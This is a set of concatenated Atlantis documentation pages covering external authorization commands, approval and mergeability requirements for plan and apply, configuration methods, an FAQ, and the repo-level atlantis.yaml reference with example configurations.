[​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#external-command-execution) External commands are executed on every authorization check with arguments and environment variables containing context about the command being checked. The command is executed using the following format: shell external_command [external_args...] atlantis_command repo [teams...] | Key | Optional | Description | | --- | --- | --- | | `external_command` | no | Command defined in [server side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config) | | `external_args` | yes | Command arguments defined in [server side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config) | | `atlantis_command` | no | The atlantis command being run (`plan`, `apply`, etc) | | `repo` | no | The full name of the repo being executed (format: `owner/repo_name`) | | `teams` | yes | A list of zero or more teams of the user executing the command | The following environment variables are passed to the command on every execution: | Key | Description | | --- | --- | | `BASE_REPO_NAME` | Name of the repository that the pull request will be merged into, ex. `atlantis`. | | `BASE_REPO_OWNER` | Owner of the repository that the pull request will be merged into, ex. `runatlantis`. | | `COMMAND_NAME` | The name of the command that is being executed, i.e. `plan`, `apply` etc. | | `USER_NAME` | Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. | The following environment variables are also passed to the command when checking project authorization: | Key | Description | | --- | --- | | `BASE_BRANCH_NAME` | Name of the base branch of the pull request (the branch that the pull request is getting merged into) | | `COMMENT_ARGS` | Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. | | `HEAD_REPO_NAME` | Name of the repository that is getting merged into the base repository, ex. `atlantis`. | | `HEAD_REPO_OWNER` | Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. | | `HEAD_BRANCH_NAME` | Name of the head branch of the pull request (the branch that is getting merged into the base) | | `HEAD_COMMIT` | The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. | | `PROJECT_NAME` | Name of the project the command is being executed on | | `PULL_NUM` | Pull request number or ID, ex. `2`. | | `PULL_URL` | Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. | | `PULL_AUTHOR` | Username of the pull request author, ex. `acme-user`. | | `REPO_ROOT` | The absolute path to the root of the cloned repository. | | `REPO_REL_PATH` | Path to the project relative to `REPO_ROOT` | ### External Command Result Handling [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#external-command-result-handling) Atlantis determines if a user is authorized to run the requested command by checking if the external command exited with code `0` and if the last line of output is `pass`. text # Pseudo-code of Atlantis evaluation of external commands user_authorized = external_command.exit_code == 0 && external_command.output.last_line == 'pass' TIP * A non-zero exit code means the command failed to evaluate the request for some reason (bad configuration, missing dependencies, solar flares, etc). * If the command was able to run successfully, but determined the user is not authorized, it should still exit with code `0`. * The command output could contain the reasoning for the authorization failure. --- # Command Requirements | Atlantis [Skip to content](https://www.runatlantis.io/docs/command-requirements.html#VPContent) On this page Command Requirements [​](https://www.runatlantis.io/docs/command-requirements.html#command-requirements) ========================================================================================================= Intro [​](https://www.runatlantis.io/docs/command-requirements.html#intro) --------------------------------------------------------------------------- Atlantis requires certain conditions be satisfied **before** `atlantis apply` and `atlantis import` commands can be run: * [Approved](https://www.runatlantis.io/docs/command-requirements.html#approved) – requires pull requests to be approved by at least one user other than the author * [Mergeable](https://www.runatlantis.io/docs/command-requirements.html#mergeable) – requires pull requests to be able to be merged * [UnDiverged](https://www.runatlantis.io/docs/command-requirements.html#undiverged) - requires project files in pull requests to be ahead of the base branch What Happens If The Requirement Is Not Met? [​](https://www.runatlantis.io/docs/command-requirements.html#what-happens-if-the-requirement-is-not-met) ------------------------------------------------------------------------------------------------------------------------------------------------------ If the requirement is not met, users will see an error if they try to run `atlantis apply`: ![Mergeable Apply Requirement](https://www.runatlantis.io/assets/apply-requirement.DT_G_7ZP.png) Supported Requirements [​](https://www.runatlantis.io/docs/command-requirements.html#supported-requirements) ------------------------------------------------------------------------------------------------------------- ### Approved [​](https://www.runatlantis.io/docs/command-requirements.html#approved) The `approved` requirement will prevent applies unless the pull request is approved by at least one person other than the author. #### Usage [​](https://www.runatlantis.io/docs/command-requirements.html#usage) Set the `approved` requirement by: 1. Creating a `repos.yaml` file with the `apply_requirements` key: yaml repos: - id: /.*/ apply_requirements: [approved] 2. Or by allowing an `atlantis.yaml` file to specify the `apply_requirements` key in the `repos.yaml` config: **repos.yaml** yaml repos: - id: /.*/ allowed_overrides: [apply_requirements] **atlantis.yaml** yaml version: 3 projects: - dir: . apply_requirements: [approved] #### Meaning [​](https://www.runatlantis.io/docs/command-requirements.html#meaning) Each VCS provider has different rules around who can approve: * **GitHub** – **Any user with read permissions** to the repo can approve a pull request * **GitLab** – The user who can approve can be set in the [repo settings](https://docs.gitlab.com/user/project/merge_requests/approvals/) * **Bitbucket Cloud (bitbucket.org)** – A user can approve their own pull request but Atlantis does not count that as an approval and requires an approval from at least one user that is not the author of the pull request * **Azure DevOps** – **All builtin groups include the "Contribute to pull requests"** permission and can approve a pull request Tip To require **certain people** to approve the pull request, look at the [mergeable](https://www.runatlantis.io/docs/command-requirements.html#mergeable) requirement. ### Mergeable [​](https://www.runatlantis.io/docs/command-requirements.html#mergeable) The `mergeable` requirement will prevent applies unless a pull request is able to be merged. #### Usage [​](https://www.runatlantis.io/docs/command-requirements.html#usage-1) Set the `mergeable` requirement by: 1. Creating a `repos.yaml` file with the `apply_requirements` key: yaml repos: - id: /.*/ apply_requirements: [mergeable] 2. Or by allowing an `atlantis.yaml` file to specify `plan_requirements`, `apply_requirements` and `import_requirements` keys in the `repos.yaml` config: **repos.yaml** yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] **atlantis.yaml** yaml version: 3 projects: - dir: . plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] #### Meaning [​](https://www.runatlantis.io/docs/command-requirements.html#meaning-1) Each VCS provider has a different concept of "mergeability": WARNING Some VCS providers have a feature for branch protection to control "mergeability". To use it, limit the base branch so to not bypass the branch protection. See also the `branch` keyword in [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config#reference) for more details. #### GitHub [​](https://www.runatlantis.io/docs/command-requirements.html#github) In GitHub, if you're not using [Protected Branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) then all pull requests are mergeable unless there is a conflict. If you set up Protected Branches then you can enforce: * Requiring certain status checks to be passing * Requiring certain people to have reviewed and approved the pull request * Requiring `CODEOWNERS` to have reviewed and approved the pull request * Requiring that the branch is up-to-date with `main` See [GitHub: About protected branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) for more details. WARNING If you have the **Restrict who can push to this branch** requirement, then the Atlantis user needs to be part of that list in order for it to consider a pull request mergeable. WARNING If you set `atlantis/apply` to the mergeable requirement, use the `--gh-allow-mergeable-bypass-apply` flag or set the `ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true` environment variable. This flag and environment variable allow the mergeable check before executing `atlantis apply` to skip checking the status of `atlantis/apply`. #### GitLab [​](https://www.runatlantis.io/docs/command-requirements.html#gitlab) For GitLab, a merge request will be merged if all the following are true: * There are no conflicts * No unresolved discussions, if it is a project requirement * All necessary approvers have approved the pull request * Is not behind the branch it's merging into, if the project's [Merge Methods](https://docs.gitlab.com/user/project/merge_requests/methods/) are "Fast-forward merge" or "Merge commit with semi-linear history" For pipelines, if the project requires that pipelines must succeed, all builds except the apply command status will be checked. For Jobs with allow\_failure setting set to true, will be ignored. If the pipeline has been skipped and the project allows merging, it will be marked as mergeable. For per-project `atlantis apply` commands, Atlantis scopes GitLab's `mergeable` requirement to the project being applied when GitLab reports blocking commit statuses. Atlantis ignores blocking Atlantis plan statuses from other projects in the same merge request, but the project's own plan status and any non-Atlantis blocker still prevent the apply. #### Bitbucket.org (Bitbucket Cloud) and Bitbucket Server (Stash) [​](https://www.runatlantis.io/docs/command-requirements.html#bitbucket-org-bitbucket-cloud-and-bitbucket-server-stash) For Bitbucket, we just check if there is a conflict that is preventing a merge. We don't check anything else because Bitbucket's API doesn't support it. If you need a specific check, please [open an issue](https://github.com/runatlantis/atlantis/issues/new) . #### Azure DevOps [​](https://www.runatlantis.io/docs/command-requirements.html#azure-devops) In Azure DevOps, all pull requests are mergeable unless there is a conflict. You can set a pull request to "Complete" right away, or set "Auto-Complete", which will merge after all branch policies are met. See [Review code with pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops) . [Branch policies](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) can: * Require a minimum number of reviewers * Allow users to approve their own changes * Allow completion even if some reviewers vote "Waiting" or "Reject" * Reset code reviewer votes when there are new changes * Require a specific merge strategy (squash, rebase, etc.) WARNING At this time, the Azure DevOps client only supports merging using the default 'no fast-forward' strategy. Make sure your branch policies permit this type of merge. ### UnDiverged [​](https://www.runatlantis.io/docs/command-requirements.html#undiverged) Prevent applies if there are any changes on the base branch since the most recent plan. Applies to `merge` checkout strategy only which you need to set via `--checkout-strategy` flag. #### Usage [​](https://www.runatlantis.io/docs/command-requirements.html#usage-2) You can set the `undiverged` requirement by: 1. Creating a `repos.yaml` file with `plan_requirements`, `apply_requirements` and `import_requirements` keys: yaml repos: - id: /.*/ plan_requirements: [undiverged] apply_requirements: [undiverged] import_requirements: [undiverged] 2. Or by allowing an `atlantis.yaml` file to specify the `plan_requirements`, `apply_requirements` and `import_requirements` keys in your `repos.yaml` config: **repos.yaml** yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] **atlantis.yaml** yaml version: 3 projects: - dir: . plan_requirements: [undiverged] apply_requirements: [undiverged] import_requirements: [undiverged] #### Meaning [​](https://www.runatlantis.io/docs/command-requirements.html#meaning-2) The `merge` checkout strategy creates a temporary merge commit and runs the `plan` on the Atlantis local version of the PR source and destination branch. The local destination branch can become out of date since changes to the destination branch are not fetched if there are no changes to the source branch. `undiverged` enforces that Atlantis local version of main is up to date with remote so that the state of the source during the `apply` is identical to that if you were to merge the PR at that time. In the case of a transient error, Atlantis assumes divergence for safety and errors. When a project has `autoplan.when_modified` patterns configured, the `undiverged` requirement automatically uses those patterns to perform a **targeted** divergence check. Instead of failing when **any** file on the base branch has changed, it only fails when files matching the project's `when_modified` patterns have changed. This is especially useful in monorepos where unrelated changes to other projects should not block your applies. Targeted `undiverged` checks also follow Atlantis project selection for: * repo-configured projects affected through [module autoplanning](https://www.runatlantis.io/docs/server-configuration#autoplan-modules) * auto-discovered projects selected by the default `autoplan-file-list` rules If Atlantis cannot determine project impact for a repository, `undiverged` falls back to checking all files. **Example scenario:** text monorepo/ project1/ # Has when_modified: ["project1/**"] project2/ # Has when_modified: ["project2/**"] * PR modifies `project1/main.tf` * After PR created, someone merges changes to `project2/main.tf` * The `undiverged` requirement for project1 **passes** because the base branch change only affected `project2/` Setting Command Requirements [​](https://www.runatlantis.io/docs/command-requirements.html#setting-command-requirements) ------------------------------------------------------------------------------------------------------------------------- As mentioned above, you can set command requirements via flags, in `repos.yaml`, or in `atlantis.yaml` if `repos.yaml` allows the override. ### Flags Override [​](https://www.runatlantis.io/docs/command-requirements.html#flags-override) Flags **override** any `repos.yaml` or `atlantis.yaml` settings so they are equivalent to always having that apply requirement set. ### Project-Specific Settings [​](https://www.runatlantis.io/docs/command-requirements.html#project-specific-settings) If you only want some projects/repos to have apply requirements, then you must 1. Specify which repos have which requirements via the `repos.yaml` file. yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Regex that defaults all repos to requiring approval - id: /github.com/runatlantis/.*/ # Regex to match any repo under the atlantis namespace, and not require approval # except for repos that might match later in the chain plan_requirements: [] apply_requirements: [] import_requirements: [] - id: github.com/runatlantis/atlantis plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Exact string match of the github.com/runatlantis/atlantis repo # that sets apply_requirements to approved 2. Specify which projects have which requirements via an `atlantis.yaml` file, and allowing `plan_requirements`, `apply_requirements` and `import_requirements` to be set in `atlantis.yaml` by the server side `repos.yaml` config. For example if I have two directories, `staging` and `production`, I might use: **repos.yaml:** yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] # Allow any repo to specify apply_requirements in atlantis.yaml **atlantis.yaml:** yaml version: 3 projects: - dir: staging # By default, plan_requirements, apply_requirements and import_requirements are empty so this # isn't strictly necessary. plan_requirements: [] apply_requirements: [] import_requirements: [] - dir: production # This requirement will only apply to the # production directory. plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] ### Multiple Requirements [​](https://www.runatlantis.io/docs/command-requirements.html#multiple-requirements) You can set any or all of `approved`, `mergeable`, and `undiverged` requirements. Who Can Apply? [​](https://www.runatlantis.io/docs/command-requirements.html#who-can-apply) -------------------------------------------------------------------------------------------- Once the apply requirement is satisfied, **anyone** that can comment on the pull request can run the actual `atlantis apply` command. Next Steps [​](https://www.runatlantis.io/docs/command-requirements.html#next-steps) ------------------------------------------------------------------------------------- * For more information on GitHub pull request reviews and approvals see: [GitHub: About pull request reviews](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) * For more information on GitLab merge request reviews and approvals (only supported on GitLab Enterprise) see: [GitLab: Merge request approvals](https://docs.gitlab.com/user/project/merge_requests/approvals/) . * For more information on Bitbucket pull request reviews and approvals see: [BitBucket: Use pull requests for code review](https://confluence.atlassian.com/bitbucket/pull-requests-and-code-review-223220593.html) * For more information on Azure DevOps pull request reviews and approvals see: [Azure DevOps: Create pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops&tabs=browser) --- # Configuring Atlantis | Atlantis [Skip to content](https://www.runatlantis.io/docs/configuring-atlantis.html#VPContent) On this page Configuring Atlantis [​](https://www.runatlantis.io/docs/configuring-atlantis.html#configuring-atlantis) ========================================================================================================= There are three methods for configuring Atlantis: 1. Passing flags to the `atlantis server` command 2. Creating a server-side repo config file and using the `--repo-config` flag 3. Placing an `atlantis.yaml` file at the root of your Terraform repositories Flags [​](https://www.runatlantis.io/docs/configuring-atlantis.html#flags) --------------------------------------------------------------------------- Flags to `atlantis server` are used to configure the global operation of Atlantis, for example setting credentials for your Git Host or configuring SSL certs. See [Server Configuration](https://www.runatlantis.io/docs/server-configuration) for more details. Server-Side Repo Config [​](https://www.runatlantis.io/docs/configuring-atlantis.html#server-side-repo-config) --------------------------------------------------------------------------------------------------------------- A Server-Side Repo Config file is used to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. See [Server-Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) for more details. Repo-Level `atlantis.yaml` Files [​](https://www.runatlantis.io/docs/configuring-atlantis.html#repo-level-atlantis-yaml-files) ------------------------------------------------------------------------------------------------------------------------------- `atlantis.yaml` files placed at the root of your Terraform repos can be used to change the default Atlantis behaviour for each repo. See [Repo-Level atlantis.yaml Files](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) for more details. --- # FAQ | Atlantis [Skip to content](https://www.runatlantis.io/docs/faq.html#VPContent) Return to top FAQ [​](https://www.runatlantis.io/docs/faq.html#faq) ====================================================== **Q: Does Atlantis affect Terraform [remote state](https://developer.hashicorp.com/terraform/language/state/remote) ?** A: No. Atlantis does not interfere with Terraform remote state in any way. Under the hood, Atlantis is simply executing `terraform plan` and `terraform apply`. **Q: How does Atlantis locking interact with Terraform [locking](https://developer.hashicorp.com/terraform/language/state/locking) ?** A: Atlantis provides locking of pull requests that prevents concurrent modification of the same infrastructure (Terraform project) whereas Terraform locking only prevents two concurrent `terraform apply`'s from happening. Terraform locking can be used alongside Atlantis locking since Atlantis is simply executing terraform commands. **Q: How to run Atlantis in high availability mode? Does it need to be?** A: Atlantis server can easily be run under the supervision of an init system like `upstart` or `systemd` to make sure `atlantis server` is always running. Atlantis, by default, stores all locking and Terraform plans locally on disk under the `--data-dir` directory (defaults to `~/.atlantis`). If multiple Atlantis hosts are run by utilizing a shared redis backend, then it's important that the `data-dir` is using a shared filesystem between hosts. However, if you were to lose the data, all you would need to do is run `atlantis plan` again on the pull requests that are open. If someone tries to run `atlantis apply` after the data has been lost then they will get an error back, so they will have to re-plan anyway. For fully stateless HA (no shared filesystem or persistent volume), Atlantis supports external plan storage via `--enable-external-stores` with an S3-compatible backend. Plans are uploaded to S3 after `terraform plan` and restored automatically when a different replica handles the `apply`. Combined with Redis for locking (`--locking-db-type=redis`), this allows running multiple Atlantis replicas with `emptyDir` volumes. See [server configuration](https://www.runatlantis.io/docs/server-configuration) for details. **Q: How to add SSL to Atlantis server?** A: First, you'll need to get a public/private key pair to serve over SSL. These need to be in a directory accessible by Atlantis. Then start `atlantis server` with the `--ssl-cert-file` and `--ssl-key-file` flags. See `atlantis server --help` for more information. **Q: Can Atlantis detect infrastructure drift?** A: Yes. When the `--enable-drift-detection` flag is set, Atlantis exposes API endpoints for drift detection, status, and remediation. Drift detection works by running `terraform plan` against the specified branch/ref (outside of a pull request context) and analyzing the plan output for changes. You can trigger drift detection via `POST /api/drift/detect` and retrieve cached results via `GET /api/drift/status`. See [API Endpoints](https://www.runatlantis.io/docs/api-endpoints) for details. **Q: How do I set up scheduled drift detection?** A: Atlantis provides the drift detection API but does not include a built-in scheduler. You can use an external scheduler (e.g., cron, CI/CD pipelines, or a monitoring tool) to periodically call `POST /api/drift/detect`. Configure [drift webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks) to receive Slack or HTTP notifications when drift is detected. **Q: How can I get Atlantis up and running on AWS?** A: There is [terraform-aws-atlantis](https://github.com/terraform-aws-modules/terraform-aws-atlantis) project where complete Terraform configurations for running Atlantis on AWS Fargate are hosted. Tested and maintained. --- # Repo Level atlantis.yaml Config | Atlantis [Skip to content](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#VPContent) On this page Repo Level atlantis.yaml Config [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) =================================================================================================================================== An `atlantis.yaml` file specified at the root of a Terraform repo allows you to instruct Atlantis on the structure of your repo and set custom workflows. Do I need an atlantis.yaml file? [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#do-i-need-an-atlantis-yaml-file) ------------------------------------------------------------------------------------------------------------------------------------ `atlantis.yaml` files are only required if you wish to customize some aspect of Atlantis. The default Atlantis config works for many users without changes. Read through the [use-cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#use-cases) to determine if you need it. Enabling atlantis.yaml [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#enabling-atlantis-yaml) ----------------------------------------------------------------------------------------------------------------- By default, all repos are allowed to have an `atlantis.yaml` file, but some of the keys are restricted by default. Restricted keys can be set in the server-side `repos.yaml` repo config file. You can enable `atlantis.yaml` to override restricted keys by setting the `allowed_overrides` key there. See the [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) for more details. **Notes:** * By default, repo root `atlantis.yaml` file is used. * You can change this behaviour by setting [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) DANGER Atlantis uses the `atlantis.yaml` version from the pull request, similar to other CI/CD systems. If you're allowing users to [create custom workflows](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-define-their-own-workflows) then this means anyone that can create a pull request to your repo can run arbitrary code on the Atlantis server. By default, this is not allowed. WARNING Once an `atlantis.yaml` file exists in a repo and one or more `projects` are configured, Atlantis won't try to determine where to run plan automatically. Instead it will just follow the project configuration. This means that you'll need to define each project in your repo. If you have many directories with Terraform configuration, each directory will need to be defined. This behavior can be overridden by setting `autodiscover.mode` to `enabled` in which case Atlantis will still try to discover projects which were not explicitly configured. If the directory of any discovered project conflicts with a manually configured project, the manually configured project will take precedence. Example Using All Keys [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#example-using-all-keys) ----------------------------------------------------------------------------------------------------------------- yaml version: 3 # Available since v0.1.0 automerge: true # Available since v0.15.0 autodiscover: # Available since v0.18.0 mode: auto ignore_paths: - some/path delete_source_branch_on_merge: true # Available since v0.15.0 parallel_plan: true # Available since v0.17.0 parallel_apply: true # Available since v0.17.0 abort_on_execution_order_fail: true # Available since v0.17.0 projects: - name: my-project-name # Available since v0.1.0 branch: /main/ # Available since v0.21.0 dir: . # Available since v0.1.0 workspace: default # Available since v0.1.0 terraform_distribution: terraform # Available since v0.33.0 terraform_version: v0.11.0 # Available since v0.1.0 delete_source_branch_on_merge: true # Available since v0.17.0 repo_locking: true # deprecated: use repo_locks instead, Available since v0.17.0 repo_locks: # Available since v0.17.0 mode: on_plan custom_policy_check: false # Available since v0.17.0 autoplan: # Available since v0.1.0 when_modified: ["*.tf", "../modules/**/*.tf", ".terraform.lock.hcl"] enabled: true plan_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 apply_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 import_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 silence_pr_comments: ["apply"] # Available since v0.17.0 execution_order_group: 1 # Available since v0.17.0 depends_on: # Available since v0.20.0 - project-1 workflow: myworkflow # Available since v0.17.0 workflows: # Available since v0.1.0 myworkflow: plan: steps: - run: my-custom-command arg1 arg2 - run: command: my-custom-command arg1 arg2 output: hide - init - plan: extra_args: ["-lock", "false"] - run: my-custom-command arg1 arg2 apply: steps: - run: echo hi - apply allowed_regexp_prefixes: # Available since v0.19.0 - dev/ - staging/ Example of DRYing up projects using YAML anchors [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#example-of-drying-up-projects-using-yaml-anchors) --------------------------------------------------------------------------------------------------------------------------------------------------------------------- yaml projects: - &template name: template dir: template workflow: custom autoplan: enabled: true when_modified: - "./terraform/modules/**/*.tf" - "**/*.tf" - ".terraform.lock.hcl" - <<: *template name: ue1-prod-titan dir: ./terraform/titan workspace: ue1-prod - <<: *template name: ue1-stage-titan dir: ./terraform/titan workspace: ue1-stage - <<: *template name: ue1-dev-titan dir: ./terraform/titan workspace: ue1-dev Auto generate projects [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#auto-generate-projects) ----------------------------------------------------------------------------------------------------------------- This is useful if you have many projects in a repository. This assumes the `default` workspace (or no workspace). Run this in the root of your repository. This will use gnu `grep` to search terraform files for an S3 backend (terraform dir), retrieve the directory path, retrieve the unique entries, and then use `yq` to return the YAML of a simple project dir setup which can then be modified to your liking. sh grep -P 'backend[\s]+"s3"' **/*.tf | rev | cut -d'/' -f2- | rev | sort | uniq | while read d; do \ echo '[ {"name": "'"$d"'","dir": "'"$d"'", "autoplan": {"when_modified": ["**/*.tf.*"] }} ]' | yq -PM; \ done Use Cases [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#use-cases) --------------------------------------------------------------------------------------- ### Disabling Autoplanning [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#disabling-autoplanning) yaml version: 3 projects: - dir: project1 autoplan: enabled: false This will stop Atlantis automatically running plan when `project1/` is updated in a pull request. ### Run plans and applies in parallel [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#run-plans-and-applies-in-parallel) yaml version: 3 parallel_plan: true parallel_apply: true This will run plans and applies for all of your projects in parallel. Enabling these options can significantly reduce the duration of plans and applies, especially for repositories with many projects. Use the `--parallel-pool-size` to configure the max number of plans and applies that can run in parallel. The default is 15. Parallel plans and applies work across both multiple directories and multiple workspaces. ### Configuring Planning [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#configuring-planning) Given the directory structure: plain . ├── modules │   └── module1 │   ├── main.tf │   ├── outputs.tf │   └── submodule │   ├── main.tf │   └── outputs.tf └── project1 └── main.tf If you want Atlantis to plan `project1/` whenever any `.tf` files under `module1/` change or any `.tf` or `.tfvars` files under `project1/` change you could use the following configuration: yaml version: 3 projects: - dir: project1 autoplan: when_modified: ["../modules/**/*.tf", "*.tf*", ".terraform.lock.hcl"] Note: * `when_modified` uses the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) * The paths are relative to the project's directory. * `when_modified` will be used by both automatic and manually run plans. * `when_modified` will continue to work for manually run plans even when autoplan is disabled. * The default `when_modified` includes `**/*.tf*`, `**/*.tofu`, `**/*.tofu.json`, `**/terragrunt.hcl`, and `**/.terraform.lock.hcl`. Custom `when_modified` overrides these defaults entirely. ### Supporting Terraform Workspaces [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#supporting-terraform-workspaces) yaml version: 3 projects: - dir: project1 workspace: staging - dir: project1 workspace: production With the above config, when Atlantis determines that the configuration for the `project1` dir has changed, it will run plan for both the `staging` and `production` workspaces. If you want to `plan` or `apply` for a specific workspace you can use shell atlantis plan -w staging -d project1 and shell atlantis apply -w staging -d project1 ### Using .tfvars files [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#using-tfvars-files) See [Custom Workflow Use Cases: Using .tfvars files](https://www.runatlantis.io/docs/custom-workflows#tfvars-files) ### Adding extra arguments to Terraform commands [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#adding-extra-arguments-to-terraform-commands) See [Custom Workflow Use Cases: Adding extra arguments to Terraform commands](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) ### Custom init/plan/apply Commands [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#custom-init-plan-apply-commands) See [Custom Workflow Use Cases: Custom init/plan/apply Commands](https://www.runatlantis.io/docs/custom-workflows#custom-init-plan-apply-commands) ### Terragrunt [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#terragrunt) See [Custom Workflow Use Cases: Terragrunt](https://www.runatlantis.io/docs/custom-workflows#terragrunt) ### Running custom commands [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#running-custom-commands) See [Custom Workflow Use Cases: Running custom commands](https://www.runatlantis.io/docs/custom-workflows#running-custom-commands) ### Terraform Distributions [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#terraform-distributions) If you'd like to use a different distribution of Terraform than what is set by the `--default-tf-version` flag, then set the `terraform_distribution` key: yaml version: 3 projects: - dir: project1 terraform_distribution: opentofu Atlantis will automatically download and use this distribution. Valid values are `terraform` and `opentofu`. If `terraform_version` is omitted and the project uses a `required_version` constraint, Atlantis resolves that constraint against the selected distribution. ### Terraform Versions [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#terraform-versions) If you'd like to use a different version of Terraform than what is in Atlantis' `PATH` or is set by the `--default-tf-version` flag, then set the `terraform_version` key: yaml version: 3 projects: - dir: project1 terraform_version: 0.10.0 Atlantis will automatically download and use this version. ### Requiring Approvals For Production [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#requiring-approvals-for-production) In this example, we only want to require `apply` approvals for the `production` directory. yaml version: 3 projects: - dir: staging - dir: production plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] WARNING `plan_requirements`, `apply_requirements` and `import_requirements` are restricted keys so this repo will need to be configured to be allowed to set this key. See [Server-Side Repo Config Use Cases](https://www.runatlantis.io/docs/server-side-repo-config#repos-can-set-their-own-apply-requirements) . ### Order of planning/applying [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#order-of-planning-applying) yaml version: 3 abort_on_execution_order_fail: true projects: - dir: project1 execution_order_group: 2 - dir: project2 execution_order_group: 1 With this config above, Atlantis runs planning/applying for project2 first, then for project1. Several projects can have same `execution_order_group`. Any order in one group isn't guaranteed. `parallel_plan` and `parallel_apply` respect these order groups, so parallel planning/applying works in each group one by one. If any plan/apply fails and `abort_on_execution_order_fail` is set to true on a repo level, all the following groups will be aborted. For this example, if project2 fails then project1 will not run. Execution order groups are useful when you have dependencies between projects. However, they are only applicable in the case where you initiate a global apply for all of your projects, i.e `atlantis apply`. If you initiate an apply on a single project, then the execution order groups are ignored. Thus, the `depends_on` key is more useful in this case. and can be used in conjunction with execution order groups. The following configuration is an example of how to use execution order groups and depends\_on together to enforce dependencies between projects. yaml version: 3 projects: - name: development dir: . autoplan: when_modified: ["*.tf", "vars/development.tfvars"] execution_order_group: 1 workspace: development workflow: infra - name: staging dir: . autoplan: when_modified: ["*.tf", "vars/staging.tfvars"] depends_on: ["development"] execution_order_group: 2 workspace: staging workflow: infra - name: production dir: . autoplan: when_modified: ["*.tf", "vars/production.tfvars"] depends_on: ["staging"] execution_order_group: 3 workspace: production workflow: infra the `depends_on` feature will make sure that `production` is not applied before `staging` for example. TIP What Happens if one or more project's dependencies are not applied? If there's one or more projects in the dependency list which is not in applied status, users will see an error message like this: `Can't apply your project unless you apply its dependencies` ### Autodiscovery Config [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#autodiscovery-config) yaml autodiscover: mode: "auto" The above is the default configuration for `autodiscover.mode`. When `autodiscover.mode` is auto, projects will be discovered only if the repo has no `projects` configured. yaml autodiscover: mode: "disabled" With the config above, Atlantis will never try to discover projects, even when there are no `projects` configured. This is useful if dynamically generating Atlantis config in pre\_workflow hooks. See [Dynamic Repo Config Generation](https://www.runatlantis.io/docs/pre-workflow-hooks#dynamic-repo-config-generation) . yaml autodiscover: mode: "enabled" With the config above, Atlantis will unconditionally try to discover projects based on modified\_files, even when the directory of the project is missing from the configured `projects` in the repo configuration. If a discovered project has the same directory as a project which was manually configured in `projects`, the manual configuration will take precedence. Use this feature when some projects require specific configuration in a repo with many projects yet it's still desirable for Atlantis to plan/apply for projects not enumerated in the config. This setting is ignored if it is configured on the server, see [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config#repo) yaml autodiscover: mode: "enabled" ignore_paths: - dir/* 